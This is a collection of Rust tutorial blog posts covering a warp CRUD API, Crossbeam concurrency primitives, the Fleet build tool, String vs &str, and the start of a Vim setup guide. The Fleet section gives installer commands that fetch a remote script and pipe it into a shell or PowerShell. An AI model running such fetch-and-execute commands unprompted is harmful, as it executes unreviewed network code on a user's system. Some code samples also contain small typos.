Next, add another Todo, check it off immediately, and try to update a nonexistent Todo:

curl -X POST 'http://localhost:8000/todo/' -H 'Content-Type: application/json' -d '{"name": "Done Todo"}'

{"id":2,"name":"Done Todo","checked":false}


curl -X PUT 'http://localhost:8000/todo/2' -H 'Content-Type: application/json' -d '{"name": "Done Todo", "checked": true}'

{"id":2,"name":"Done Todo","checked":true}


curl -X PUT 'http://localhost:8000/todo/2000' -H 'Content-Type: application/json' -d '{"name": "Done Todo", "checked": true}'

{"message":"Could not Execute request"}

So far, so good! Now, list them, filter the list, delete one of them, and list them again:

curl -X GET 'http://localhost:8000/todo/' -H 'Content-Type: application/json'

[{"id":1,"name":"Some Todo","checked":false},{"id":2,"name":"Done Todo","checked":true}]


curl -X GET 'http://localhost:8000/todo/?search=Done%20Todo' -H 'Content-Type: application/json'

[{"id":2,"name":"Done Todo","checked":true}]


curl -v -X DELETE 'http://localhost:8000/todo/2' -H 'Content-Type: application/json'

HTTP/1.1 200 OK


curl -X GET 'http://localhost:8000/todo/' -H 'Content-Type: application/json'

[{"id":1,"name":"Some Todo","checked":false}]

Perfect! Everything works as expected. You can find the full code for this example on GitHub.

Conclusion

Building a CRUD app with warp provides a good introduction to Rust web development as warp stands out as one of the top Rust web frameworks. Warp is fast, secure, and has a not-so-steep learning curve if you are familiar with Rust already.

I built the same application with Node.js and Express.js in less time and also plugged both applications into the same database. I also ran a performance test with ab benchmark. Interestingly, the difference in performance wasn’t so much, but of course, the data wasn’t big enough to simulate real-life situations. So, the performance was fair on both sides, and the differences were usually between one to three seconds in favor of Rust.

I hope this tutorial was helpful in helping you kickstart your web development with Rust and warp. For further reading, you should consider taking a look at the documentation to search for specific help when you need it.

Concurrent programming in Rust with Crossbeam

22 Dec 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 07.12.2022 and was cross-posted here by the author.

In this article, we’re going to look at the Crossbeam crate, which provides tools for concurrent programming in Rust. The library is widely used under the hood in the Rust ecosystem by many libraries and frameworks, provided concurrent programming is within their domain.

This fantastic blog post by Aaron Turon introduced Crossbeam in 2015 and offers some great insight into the challenges that arise with regard to lock-free programming with Rust — if you have the time, I definitely recommend giving it a read.

Without further ado, let’s get into concurrent programming in Rust using Crossbeam!

Concurrent programming in Rust

The TL;DR of this is that it’s possible to build efficient lock-free data structures with Rust, but you actually need to build a memory-reclamation mechanism — similar to a garbage collector.

In the case outlined in the blog above, Turon implemented an epoch-based memory management API, which can be used as a basis to build lock-free data structures in Rust

This epoch-based memory-reclamation mechanism is also part of the library — it is well-documented if you would like to learn more.

If you’re not too familiar with lock-free programming, you can check out this great introduction.

In this post, we will look at a part of Crossbeam’s API and implement some simple examples using them to showcase how they can be used and why they’re useful.

If you’re interested in checking out the whole API to go more in-depth about the different concurrent-programming tools within Crossbeam, you can also check out the docs.

Let’s get started!

Setup

To follow along, all you need is a recent Rust installation (the latest version at the time of writing is 1.64.0).

First, create a new Rust project:

    cargo new rust-crossbeam-example
    cd rust-crossbeam-example

Next, edit the Cargo.toml file and add the dependencies you’ll need:

    [dependencies]
    crossbeam = "0.8.2"
    rand = "0.8.5"

Crossbeam and rand are all we will need for the upcoming examples :)

`AtomicCell` example

We’ll start with AtomicCell, a thread-safe implementation of Rust’s Cell (more info).

Cell is a mutable memory location — as is AtomicCell — the difference being that it’s thread-safe, so multiple threads can access and mutate the memory location at the same time without data races.

We can test this by spawning threads — in some, we can also load and print the value in AtomicCell, and, in others, increment and print it. Once the threads are finished, the result always needs to be the same.

First, let’s define a run_thread helper, which takes an Arc (a thread-safe, reference-counted smart pointer) containing the AtomicCell. Our mutable memory location, the number of the thread, and whether it should store something should be defined.

    fn run_thread(val: Arc<AtomicCell<u32>>, num: u32, store: bool) -> thread::JoinHandle<()> {
        thread::spawn(move || {
            if store {
                val.fetch_add(1);
            }
            println!("Hello from thread {}! value: {}", num, val.load());
        })
    }

With that, we can now create our AtomicCell and initialize it with the number 12. Then, we put it into an Arc, so we can share it between threads, spawn threads using run_thread, and then wait for the threads to finish.

    fn main() {
        // AtomicCell Example
        println!("Starting AtomicCell example...");
        let atomic_value: AtomicCell<u32> = AtomicCell::new(12);
        let arc = Arc::new(atomic_value);
    
        let mut thread_handles_ac: Vec<thread::JoinHandle<()>> = Vec::new();
        for i in 1..10 {
            thread_handles_ac.push(run_thread(arc.clone(), i, i % 2 == 0));
        }
    
        thread_handles_ac
            .into_iter()
            .for_each(|th| th.join().expect("can't join thread"));
    
        println!("value after threads finished: {}", arc.load());
        println!("AtomicCell example finished!");
    }

If you run this using cargo run (repeatedly), the result will always be the same:

    Starting AtomicCell example...
    Hello from thread 1! value: 12
    Hello from thread 4! value: 13
    Hello from thread 5! value: 13
    Hello from thread 2! value: 14
    Hello from thread 3! value: 14
    Hello from thread 8! value: 15
    Hello from thread 6! value: 16
    Hello from thread 7! value: 16
    Hello from thread 9! value: 16
    value after threads finished: 16
    AtomicCell example finished!

AtomicCell is not something you should expect to use a lot in application code, but it’s a very useful tool for building concurrent-programming primitives that deal with mutable state.

`ArrayQueue` example

The next piece of Crossbeam’s API we’ll look at is ArrayQueue.

As the name suggests, this is a thread-safe queue. In particular, it’s a bounded (i.e., limited buffer), multi-producer, multi-consumer queue.

To see it in action, we will create a number of producer and consumer threads, which will push and pop values into and from the queue — at the end, we should expect consistent results.

To achieve this, we must first create two helper functions for creating producer and consumer threads:

    fn run_producer(q: Arc<ArrayQueue<u32>>, num: u32) -> thread::JoinHandle<()> {
        thread::spawn(move || {
            println!("Hello from producer thread {} - pushing...!", num);
            for _ in 0..20 {
                q.push(num).expect("pushing failed");
            }
        })
    }
    
    fn run_consumer(q: Arc<ArrayQueue<u32>>, num: u32) -> thread::JoinHandle<()> {
        thread::spawn(move || {
            println!("Hello from producer thread {} - popping!", num);
            for _ in 0..20 {
                q.pop();
            }
        })
    }

We pass an ArrayQueue packaged inside of an Arc into the helper and, within it, start a thread which, in a small loop, pushes to (for producers) and pops from (for consumers) the queue.

    fn main() {
        // ArrayQueue Example
        println!("---------------------------------------");
        println!("Starting ArrayQueue example...");
        let q: ArrayQueue<u32> = ArrayQueue::new(100);
        let arc_q = Arc::new(q);
    
        let mut thread_handles_aq: Vec<thread::JoinHandle<()>> = Vec::new();
    
        for i in 1..5 {
            thread_handles_aq.push(run_producer(arc_q.clone(), i));
        }
    
        for i in 1..5 {
            thread_handles_aq.push(run_consumer(arc_q.clone(), i));
        }
    
        thread_handles_aq
            .into_iter()
            .for_each(|th| th.join().expect("can't join thread"));
        println!("values in q after threads finished: {}", arc_q.len());
        println!("ArrayQueue example finished!");
    }

Then, after initializing the bounded queue, we put it into an Arc, spawn our producers and consumers, and then wait for the threads to finish.

We limit it to a buffer of 100 entries; this means that pushing to the queue can actually fail if the queue is full

If we check out the results, we can see, regardless of the ordering, that the results are consistent and the queue is actually thread-safe:

    Starting ArrayQueue example...
    Hello from producer thread 1 - pushing...!
    Hello from producer thread 4 - pushing...!
    Hello from producer thread 2 - pushing...!
    Hello from producer thread 2 - popping!
    Hello from producer thread 3 - pushing...!
    Hello from producer thread 1 - popping!
    Hello from producer thread 4 - popping!
    Hello from producer thread 3 - popping!
    values in q after threads finished: 0
    ArrayQueue example finished!

ArrayQueue, similar to AtomicCell, is something that will mostly be useful within abstractions for concurrency, rather than actual application code.

If you have a use case for which you need a queue data structure that’s thread-safe, Crossbeam has you covered! There are also two other queue implementations worth noting: deque and SegQueue, which you can check out here.

Channel example

Channels, a concept you might know from other languages such as Go, are implemented in a multi-producer, multi-consumer manner in Crossbeam.

Channels are usually used for cross-thread communication — or, in the case of Go, cross-goroutine communication.

For example, with channels, you can implement a CSP — communicating sequential processes for the coordination of concurrent processes.

To see Crossbeam channels in action, we will again spawn producer and consumer threads.

However, this time, the producers will send 1000 values each into the channel and the consumers will simply take values from it and process them — if there are no senders left, all threads will finish.

To achieve this, we first create two helper functions for creating the producer and consumer threads:

    fn run_producer_chan(s: Sender<u32>, num: u32) -> thread::JoinHandle<()> {
        thread::spawn(move || {
            println!("Hello from producer thread {} - pushing...!", num);
            for _ in 0..1000 {
                s.send(num).expect("send failed");
            }
        })
    }
    
    fn run_consumer_chan(r: Receiver<u32>, num: u32) -> thread::JoinHandle<()> {
        thread::spawn(move || {
            let mut i = 0;
            println!("Hello from producer thread {} - popping!", num);
            loop {
                if let Err(_) = r.recv() {
                    println!(
                        "last sender dropped - stopping consumer thread, messages received: {}",
                        i
                    );
                    break;
                }
                i += 1;
            }
        })
    }

Similar to the above, the producer thread simply pushes values into the channel. However, the consumer thread, in an endless loop, tries to receive from the channel and, if it gets an error (which happens if all senders are dropped), then it prints the number of processed messages for the thread.

To put this all together, we created an unbounded channel, getting a Sender and a Receiver back, which can be cloned and shared between threads (there are also bounded channels with a limited buffer size). We then spawned our producers and consumers and left it to be run.

We also dropped the initial Sender using drop(s). Since we rely on the consumer threads running into the error condition, when all Senders are dropped and we clone the Sender into each thread, we need to remove the initial Sender reference; otherwise, the consumers will simply block forever in an endless loop.

    fn main() {
            // channel Example
        println!("---------------------------------------");
        println!("Starting channel example...");
        let (s, r) = unbounded();
    
        for i in 1..5 {
            run_producer_chan(s.clone(), i);
        }
        drop(s);
    
        for i in 1..5 {
            run_consumer_chan(r.clone(), i);
        }
    
        println!("channel example finished!");
    }

If we run this repeatedly, the number of messages each thread processes will vary, but the overall amount will always add up to 4000, meaning that all events sent to the channels have been processed.

    Starting channel example...
    Hello from producer thread 1 - pushing...!
    Hello from producer thread 2 - pushing...!
    Hello from producer thread 4 - pushing...!
    Hello from producer thread 3 - pushing...!
    Hello from producer thread 4 - popping!
    Hello from producer thread 2 - popping!
    Hello from producer thread 3 - popping!
    Hello from producer thread 1 - popping!
    last sender dropped - stopping consumer thread, messages received: 376
    last sender dropped - stopping consumer thread, messages received: 54
    last sender dropped - stopping consumer thread, messages received: 2199
    last sender dropped - stopping consumer thread, messages received: 1371
    channel example finished!

`WaitGroup` example

Wait groups are a very useful concept for cases when you have to do some concurrent processing and must wait until it’s all finished. For example; to wait for all the data to be collected from different sources in parallel and then waiting for each request to finish, before aggregating it and moving on in the computation process.

The idea is to create a WaitGroup and then, for each concurrent process, clone it (internally it simply increases a counter) and wait for all WaitGroups to be dropped (i.e., the counter is back to 0). That way, in a thread-safe way, we have a guarantee that all threads have finished.

To showcase this, we’ll create a helper called do_work, which generates a random number, sleeps for that amount of milliseconds, then does some basic calculations, sleeps again, and finishes.

This is just so we actually have our threads doing something, which takes a different amount of time for each thread.

    fn do_work(thread_num: i32) {
        let num = rand::thread_rng().gen_range(100..500);
        thread::sleep(std::time::Duration::from_millis(num));
        let mut sum = 0;
        for i in 0..10 {
            sum += sum + num * i;
        }
        println!(
            "thread {} calculated sum: {}, num: {}",
            thread_num, sum, num
        );
        thread::sleep(std::time::Duration::from_millis(num));
    }

Then, with our WaitGroup created, we create a number of threads — 50 in this case — and clone the WaitGroup for each of the threads, dropping it inside the thread again.

Afterward, we wait for the WaitGroup, which will block until all WaitGroup clones have been dropped — and thus all threads have finished.

    fn main() {
        // WaitGroup Example
        println!("---------------------------------------");
        println!("Starting WaitGroup example...");
        let wg = WaitGroup::new();
    
        for i in 0..50 {
            let wg_clone = wg.clone();
            thread::spawn(move || {
                do_work(i);
                drop(wg_clone);
            });
        }
    
        println!("waiting for all threads to finish...!");
        wg.wait();
        println!("all threads finished!");
        println!("WaitGroup example finished!");
    }

If we run this, we can see that our code actually consistently waits for all of our 50 threads, no matter how long they take to complete.

    Starting WaitGroup example...
    waiting for all threads to finish...!
    thread 41 calculated sum: 114469, num: 113
    thread 31 calculated sum: 116495, num: 115
    thread 20 calculated sum: 119534, num: 118
    thread 18 calculated sum: 126625, num: 125
    thread 37 calculated sum: 144859, num: 143
    thread 47 calculated sum: 147898, num: 146
    thread 42 calculated sum: 170184, num: 168
    thread 11 calculated sum: 185379, num: 183
    thread 17 calculated sum: 186392, num: 184
    thread 19 calculated sum: 188418, num: 186
    thread 35 calculated sum: 195509, num: 193
    thread 34 calculated sum: 197535, num: 195
    thread 4 calculated sum: 200574, num: 198
    thread 39 calculated sum: 202600, num: 200
    thread 25 calculated sum: 215769, num: 213
    thread 6 calculated sum: 223873, num: 221
    thread 22 calculated sum: 227925, num: 225
    thread 12 calculated sum: 256289, num: 253
    thread 49 calculated sum: 265406, num: 262
    thread 30 calculated sum: 267432, num: 264
    thread 43 calculated sum: 271484, num: 268
    thread 27 calculated sum: 283640, num: 280
    thread 23 calculated sum: 303900, num: 300
    thread 48 calculated sum: 304913, num: 301
    thread 14 calculated sum: 306939, num: 303
    thread 0 calculated sum: 309978, num: 306
    thread 5 calculated sum: 324160, num: 320
    thread 13 calculated sum: 333277, num: 329
    thread 40 calculated sum: 338342, num: 334
    thread 28 calculated sum: 346446, num: 342
    thread 46 calculated sum: 358602, num: 354
    thread 29 calculated sum: 362654, num: 358
    thread 1 calculated sum: 368732, num: 364
    thread 15 calculated sum: 368732, num: 364
    thread 38 calculated sum: 386966, num: 382
    thread 24 calculated sum: 419382, num: 414
    thread 44 calculated sum: 430525, num: 425
    thread 45 calculated sum: 430525, num: 425
    thread 8 calculated sum: 433564, num: 428
    thread 32 calculated sum: 433564, num: 428
    thread 16 calculated sum: 442681, num: 437
    thread 2 calculated sum: 443694, num: 438
    thread 26 calculated sum: 444707, num: 439
    thread 36 calculated sum: 454837, num: 449
    thread 21 calculated sum: 456863, num: 451
    thread 7 calculated sum: 458889, num: 453
    thread 33 calculated sum: 459902, num: 454
    thread 3 calculated sum: 488266, num: 482
    thread 10 calculated sum: 497383, num: 491
    thread 9 calculated sum: 505487, num: 499
    all threads finished!
    WaitGroup example finished!

That’s it! The full example code can be found on GitHub.

Conclusion

In this article, we looked at some parts of the powerful Crossbeam library, which is an absolute staple in Rust when it comes to concurrent programming.

Crossbeam has more useful tools and abstractions to offer, and if you’re interested in checking them out, feel free to scour the fantastic docs.

The concepts behind Crossbeam with regard to lock-free programming and its implications in combination with Rust are quite interesting and definitely an area worth exploring deeper to get a fundamental understanding of the effects of lock-free programming and where it’s useful.

Fleet: A build tool for improving Rust’s Cargo

20 Aug 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 21.07.2022 and was cross-posted here by the author.

According to the 2021 Rust Survey, Rust’s long compile time is still a big concern and an area for further improvement.

Especially when it comes to large projects or crates with many dependencies, Rust’s focus on run-time performance vs. compile-time performance becomes rather punishing, even in debug builds. This leads to a deterioration of developer experience and is a reason why some developers are still not willing to try Rust.

A lot of progress has been made and still is being made, some of which is documented in Nicholas Nethercote’s fantastic blog posts on the topic. He also wrote a chapter on compile time improvements in The Rust Performance Book. Some of these techniques are actually used in Fleet to improve build times. If you’re interested in a deeper dive on the reasons behind why Rust has comparatively slow compile times, I suggest you read Brian Anderson’s fantastic article about the topic.

In any case, Rust’s build times will continue to be on the slower side for the foreseeable future, especially for larger projects. While there are some tweaks one can make to improve this situation, setting them up and keeping up-to-date on new developments, like flags and configuration options for improved build times, is cumbersome.

In this article, we’ll take a look at Fleet.rs, which is essentially a one-tool-solution for improving your Rust build times, both for local development and for CI/CD-pipelines.

What is Fleet?

The focus of our project is ease of use. Fleet doesn’t necessarily aim to reinvent the wheel and completely overhaul or restructure the way Rust builds work, but rather it wraps the existing build tools, tweaking optimizations together in a nice, configurable, intuitive tool that takes care of speeding up your builds. It works on Linux, Windows, and Mac OS.

Unfortunately, at this time, Fleet is still in beta and only supports nightly rustc, but it’s being actively developed. Moving it to the stable toolchain is on the short list of upcoming improvements.

That said, if you don’t feel comfortable using Fleet right away, or your current project setups are unable to use Fleet, there’s some good news. You can do most of the optimizations manually. Later in this article, we’ll go over them quickly, sharing some resources where you can learn more about them.

But first, let’s start by checking out how to install Fleet and how to use it in a project!

Installing and using Fleet

To install Fleet, you’ll need Rust installed on your machine. If that’s taken care of, simply open your terminal and execute the correct, respective installation script:

For Linux:

    curl -L get.fleet.rs | sh

For Windows:

    iwr -useb windows.fleet.rs | iex

Once that’s done, you can set up Fleet with one of four command line arguments:

-h / --help: Print help information
-V, / --version: Print version information
build: Build a Fleet project
run: Run a Fleet project

You can check out the additional, optional arguments for run and build in the Fleet docs. These are somewhat similar to C argo, but it’s not a 1:1 replacement, so be sure to check out the different configuration options if you have particular needs in terms of building your project.

If you plan to benchmark build times with and without Fleet, be sure to run clean builds and keep caching and preloading in mind when comparing the time it takes to build.

While Fleet claims to be up to five times faster than Cargo] on some builds, how big the actual performance gains are for your project in terms of compilation speed will depend on many different factors. For example, both your hardware, SSD vs. WSL (Windows System for Linux), and the code you’re trying to compile plus its dependencies.

In any case, if you currently feel that your project builds very slowly, install Fleet and give it a try to see if it improves the situation. Fleet takes nearly no time in terms of setup.

In addition to local development improvements, another important goal of Fleet is to improve CI/CD-pipelines. If you’re interested in trying out Fleet for your automated builds, be sure to check out their docs on setting it up with GitHub for Linux and Windows here.

Optimizations

At the time of writing this article, Fleet focuses on four different optimizations: using Ramdisk, optimizing the build through settings, using Sccache, and using a custom linker.

You can find a short description in this ticket, but it’s likely that this list will change over time, especially when Fleet moves to stable and is developed further.

Let’s go over the different optimizations one-by-one and see what they actually do. The following will not be an extensive description, but rather a superficial overview of the different techniques with some tips and resources on how to use them. At the end of this section, there is also a link to a fantastic article describing how to manually improve compile times in Rust as well.

Ramdisk

A Ramdisk, or Ramdrive, is essentially just a block of RAM that’s being used as if it were a hard disk to improve speed and in some cases to put less stress on hard disks.

The idea of this optimization is to put the /target folder of your build onto a Ramdisk to speed up the build. If you already have an SSD, this will only marginally improve build times, if even that.

But, if you use WSL (Windows Subsystem for Linux) or a non-SSD harddisk, Ramdisk has the potential to massively improve performance.

There are plenty of tutorials on how to create Ramdisks for the different operating systems, but as a starting point, you can use the following two posts on how to do it on Mac OS and on Linux.

Build configuration

Fleet manipulates the build configuration by using compiler options and flags to boost performance as well.

One example for this is increasing codegen-units. This essentially increases parallelism in LLVM when it comes to compiling your code, but comes at the potential cost of runtime performance. This is usually not an issue for debug builds, where developer experience and hence faster builds are important, but definitely for release builds. You can read more about this flag here.

Setting codegen-units manually is rather easy, just add it to the rustflags in your ~/.cargo/config.toml:

    [target.x86_64-unknown-linux-gnu]
    rustflags = ["-C", "codegen-units=256"]

However, as mentioned above, you should definitely override this back to 1 for release builds.

Another option is to lower the optimization level for your debug builds. This means that the run-time performance will suffer, but the compiler has less work to do, which is usually what you want for iterating on your code-base. However, there might be exceptions to this. You can read more about optimization levels in the docs.

To set the optimization level to the lowest possible setting, add the code below to your ~/.cargo/config.toml:

    [target.x86_64-unknown-linux-gnu]
    rustflags = ["-C", "opt-level=0"]

Again, be sure to only set this for debug builds and not for release builds. You wouldn’t want to have entirely unoptimized code in your production binary!

For lower optimization levels, as mentioned, you can try adding the share-generics flag, which enables the sharing of generics between multiple crates in your project, potentially saving the compiler from doing duplicate work.

For example, for Linux, you could add this to your ~/.cargo/config.toml:

    [target.x86_64-unknown-linux-gnu]
    rustflags = ["-Z", "share-generics=y"]

Sccache

The next optimization is using Mozillas Sccache. Sccache is a compiler-caching tool, which means it attempts to cache compilation results, i.e., across projects or crates and stores them on a disk, either locally, or in cloud storage.

This is particularly useful if you have several projects with many and sometimes large dependencies. Caching the results of compiling these different projects can prevent the compiler from duplicating work.

Especially in the context of CI/CD-pipelines, where builds are usually executed in the context of a freshly spawned instance or container without any locally existing cache, cloud-backed sccache can drastically improve build times. As every time a build runs, the cache is updated and can be reused by subsequent builds.

Fleet seamlessly introduces sccache into its builds, but doing this manually is not particularly difficult either. Simply follow the instructions for installation and usage for sccache.

Custom Linker

Finally, Fleet also configures and uses a custom linker, to improve build performance. Especially for large projects with deep dependency trees, the compiler spends a lot of time linking. In such cases, using the fastest possible linker can greatly improve compilation times.

The list below includes the correct linker to use for each operating system:

Linux: clang + lld (potentially soon mold)
Windows: rust-lld.exe
Mac OS: zld

Configuring a custom linker is not particularly difficult. Essentially, it boils down to installing the linker and then configuring Cargo to use it. For example, using zld on Mac OS can be implemented by adding the following config to your ~/.cargo/config:

    [target.x86_64-apple-darwin]
    rustflags = ["-C", "link-arg=-fuse-ld=<path to zld>"]

On Linux, lld, or mold, is the best choices for Rust. Fleet doesn’t use mold yet due to license issues, but you can use it in your build locally by simply following the steps for Rust in the mold docs.

That’s it for the optimizations Fleet performs under the hood and how you can use them manually to try and improve your build times.

After this short overview, another fantastic resource for improving your build times, if you’re reluctant to use Fleet at this point, is Matthias Endlers blog post about the topic.

Conclusion

Fleet has great potential, especially for people who do not enjoy fuzzing around with build pipelines, or build processes in general. It provides a powerful all-in-one package of multi-platform and multi-environment optimizations in terms of build speed, so it’s well worth a try if you’re struggling with build times.

Beyond that, we touched on some of the optimizations Fleet does in the background and those will, if you’re willing to put in a little time to figure out what they do and how to introduce them in your setup, help alleviating your compile-speed pain as well.

That said, often times the reason behind slow build times is, that a project depends on many and/or very large crates. Managing your dependencies well, with a minimalist mindset, introducing only the minimal version of whatever you need and in some cases, instead of adding an existing crate, building the needed functionality from scratch for your specific use-case, will not only keep your build times low, but also reduce complexity and increase the maintainability of your code.

Happy Rust’ing! :)

Understanding String and &str in Rust

12 Aug 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 20.07.2022 and was cross-posted here by the author.

Depending on your programming background before encountering Rust, you might have been surprised by the fact that Rust has more than one type for strings, namely String and str.

In this post, we will look at the difference between String and str, or more specifically, between String / &String and &str — especially when it comes to the question of when to use which one.

Understanding the concepts touched on in this post will enable you to use strings in Rust in a more efficient way, but also to understand other people’s code better, because you will have a better idea of the thought process behind why certain decisions regarding their handling of strings were made.

Let’s get started!

What we will cover

First, we will look at the more theoretical aspects, such as the different structure of the types and the differences when it comes to mutability and memory location.

Then, we will look at the practical implications of these differences, talking about when to use which type and why this makes sense.

Finally, we will go over some simple code examples showcasing these different ways of using strings in Rust.

If you’re just getting started with Rust, this post might be especially useful to you, as it will explain to you why sometimes your code doesn’t compile when you’re trying to achieve something using strings and string-manipulation across your program.

However, even if you’re not entirely new to Rust, strings are of fundamental relevance to many different areas of software engineering — having at least a basic understanding of how they work in the language you’re using is of huge importance.

Theory

Here, we’ll go over the differences between the types on the language level as well as over some of the implications that has when using them.

Generally speaking, one can say that the difference comes down to ownership and memory. One thing all string types in Rust have in common is that they’re always guaranteed to be valid UTF-8.

String

String is an owned type that needs to be allocated. It has dynamic size and hence its size is unknown at compile time, since the capacity of the internal array can change at any time.

The type itself is a struct of the form:

    pub struct String {
        vec: Vec<u8>,
    }

Since it contains a Vec, we know that it has a pointer to a chunk of memory, a size, and a capacity.

The size gives us the length of the string and the capacity tells us how much long it can get before we need to reallocate. The pointer points to a contiguous char array on the heap of capacity length and size entries in it.

The great thing about String is that it’s very flexible in terms of usage. We can always create new, dynamic strings with it and mutate them. This comes at a cost, of course, in that we need to always allocate new memory to create them.

What is `&String`?

The &String type is simply a reference to a String. This means that this isn’t an owned type and its size is known at compile-time, since it’s only a pointer to an actual String.

There isn’t much to say about &String that hasn’t been said about String already; just that since it’s not an owned type, we can pass it around, as long as the thing we’re referencing doesn’t go out of scope and we don’t need to worry about allocations.

Mostly, the implications between String and &String comes down to references and borrowing.

An interesting aspect of &String is that it can be deref-coerced to &str by the Rust compiler. This is great in terms of API flexibility. However, this does not work the other way around:

    fn main() {
        let s = "hello_world";
        let mut mutable_string = String::from("hello");
    
        coerce_success(&mutable_string);
        coerce_fail(s);
    }
    
    fn coerce_success(data: &str) { // compiles just fine, even though we put in a &String
        println!("{}", data);
    }
    
    fn coerce_fail(data: &String) { // error - expected &String, but found &str
        println!("{}", data);
    }

What is `&str`?

Finally, let’s look at &str. Since &str consists just of a pointer into memory (as well as a size), its size is known at compile time.

The memory can be on the heap, the stack, or static directly from the executable. It’s not an owned type, but rather a read-only reference to a string slice. Rust actually guarantees that while the &str is in scope, the underlying memory does not change, even across threads.

As mentioned above, &String can be coerced to &str, which makes &str a great candidate for function arguments, if mutability and ownership are not required.

Its best used when a slice (view) of a string is needed, which does not need to be changed. However, keep in mind that &str is just a pointer to a str, which has an unknown size at compile time, but is not dynamic in nature, so its capacity can’t be changed.

This is important to know, but as mentioned above, the memory the &str points to can not be changed while the &str is in existence, even by the owner of the str.

Let’s look at some of the practical implications of this.

Practical implications of `&str`

Most importantly, understanding the above will make you write better code that the Rust compiler will happily accept.

But beyond that, there are some implications in terms of API design, as well as in terms of performance, to consider.

In terms of performance, you have to consider that creating a new String always triggers an allocation. If you can avoid additional allocations, you should always do so, as they take quite some time and will put a heavy toll on your runtime performance.

Consider a case where, within a nested loop, you always need a different part of a certain string in your program. If you created new String sub-strings every time, you would have to allocate memory for each of the sub-strings and create much more work than you would need to, because you could just use a &str string slice, a read-only view of your base String.

The same goes for passing around data in your application. If you pass around owned String instances instead of mutable borrows (&mut String) or read-only views of them (&str), a lot more allocations will be triggered and a lot more memory has to be kept around.

So in terms of performance, knowing when an allocation happens and when you don’t need one is important as you can re-use a string slice when necessary.

When it comes to API design, things become a bit more involved, since you will have certain goals with your API in mind and choosing the right types is very important for consumers of your API to be able to reach the goals you lay out before them.

For example, since &String can be coerced to &str, but not the other way around, it usually makes sense to use &str as a parameter type, if you just need a read-only view of a string.

Further, if a function needs to mutate a given String, there is no point in passing in a &str, since it will be immutable and you would have to create a String from it and return it afterwards. If mutation is what you need, &mut String is the way to go.

The same goes for cases where you need an owned string, for example for sending it to a thread, or for creating a struct that expects an owned string. In those cases, you will need to use String directly, since both &String and &str are borrowed types.

In any case, where ownership and mutability are important, the choice between String and &str becomes important. In most cases, the code won’t compile if you’re not using the correct one anyway, but if you don’t have a good understanding of which type has which properties and what happens during conversion from one type to the other, you might create confusing APIs which do more allocations than they need to.

Let’s look at some code examples demonstrating these implications.

Code examples of `String` and `&str` use

The following examples show off some of the situations mentioned previously and contain suggestions on what to do in each of them.

Keep in mind, that these are isolated, contrived examples and what you should do in your code will depend on many other factors, but these examples can be used as a basic guideline.

Constant

This is the simplest example. If you need a constant string in your application, there’s really only one good option to implement it:

    const CONST_STRING: &'static str = "some constant string";

CONST_STRING is read-only and will live statically inside your executable and be loaded to memory on execution.

String mutation

If you have a String and you want to mutate it inside of a function, you can use &mut String for the argument:

    fn main() {
        let mut mutable_string = String::from("hello ") 
        do_some_mutation(&mut mutable_string);
        println!("{}", mutable_string); // hello add this to the end
    }
    
    fn do_some_mutation(input: &mut String) {
        input.push_str("add this to the end"); 
    }

This way, you can mutate your actual String without having to allocate a new String. However, it is possible that an allocation takes place in this case as well, for example, if the initial capacity of your String is too small to hold the new content.

Owned strings

There are cases, where you need an owned string; for example, when returning a string from a function, or if you want to pass it to another thread with ownership (e.g. return value, or passed to another thread, or building at run time).

    fn main() {
        let s = "hello_world";
        println!("{}", do_something(s)); // HELLO_WORLD
    }
    
    fn do_something(input: &str) -> String {
        input.to_ascii_uppercase()
    }

In addition, if we need to pass something with ownership, we actually have to pass in a String:

    struct Owned {
        bla: String,
    }
    
    fn create_owned(other_bla: String) -> Owned {
        Owned { bla: other_bla }
    }

Since Owned needs an owned string, if we passed in a &String, or &str, we would have to convert it to a String inside the function, triggering an allocation, so we might as well just pass in a String to begin with in this case.

Read-only parameter/slice

If we don’t mutate the string, we can just use &str as the argument type. This will work even with String, since &String can be deref-coerced to &str:

    const CONST_STRING: &'static str = "some constant string";
    
    fn main() {
        let s = "hello_world";
        let mut mutable_string = String::from("hello");
    
        print_something(&mutable_string);
        print_something(s);
        print_something(CONST_STRING);
    }
    
    fn print_something(something: &str) {
        println!("{}", something);
    }

As you can see, we can use &String, &'static str, and &str as input values for our print_something method.

Structs

We can use both String and &str with structs.

The important difference is, that if a struct needs to own their data, you need to use String. If you use &str, you need to use Rust lifetimes and make sure that the struct does not outlive the borrowed string, otherwise it won’t compile.

For example, this won’t work:

    struct Owned {
        bla: String,
    }
    
    struct Borrowed<'a> {
        bla: &'a str,
    }
    
    fn create_something() -> Borrowed { // error: nothing to borrow from
        let o = Owned {
            bla: String::from("bla"),
        };
    
        let b = Borrowed { bla: &o.bla };
        b
    }

With this code, the Rust compiler will give us an error, that Borrowed contains a borrowed value, but o, which it was borrowed from, goes out of scope, hence when we return our Borrowed, the value we borrow from goes out of scope.

We can fix this by passing in the value to be borrowed:

    struct Owned {
        bla: String,
    }
    
    struct Borrowed<'a> {
        bla: &'a str,
    }
    
    fn main() {
        let o = Owned {
            bla: String::from("bla"),
        };
    
        let b = create_something(&o.bla);
    }
    
    fn create_something(other_bla: &str) -> Borrowed {
        let b = Borrowed { bla: other_bla };
        b
    }

This way, when we return Borrowed, the borrowed value is still in scope.

Conclusion

In this post, we took a look at the difference between the Rust string types String and str, looked at what those differences are and how they should impact your Rust coding habits.

Furthermore, we looked at some code examples, showing off some of the patterns where to use which type and why.

I hope this article was useful to dispel some confusion you might have had about why your string-related code doesn’t compile in Rust, or if you’re further along in your Rust journey, to help you write better Rust code.

Configuring Vim for Rust development

16 Jun 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 27.05.2022 and was cross-posted here by the author.

If you’re like me, you’re a fan of Rust and love to work with lean, mean tools tailored exactly to your needs. That’s why I’ve been using Vim as my main editor for Rust since the very beginning.

At first, the support and tool stability of Vim were not quite there. However, over the last couple of years, the tools have matured. With the advent of the Language Server Protocol (LSP), IDEs and editor integrations for most programming languages have improved quite a bit. With a standardized protocol, the exact same tools can now be used for all different IDEs and editors with only a little bit of glue code between the moving pieces.

In this post, we’ll go over how to configure Vim for Rust development. We’re going to stick to a rather minimalist setup that covers all the basics and gives you the power of r ust-a nalyzer, the most widely used, state-of-the-art tool for providing IDE support for editors.

If you’re a Vim user already but haven’t gotten around to setting up Vim for Rust development, you also might find some tips and tricks in here for your own setup. At the very least, this post will be a starting point to build your own customizations.

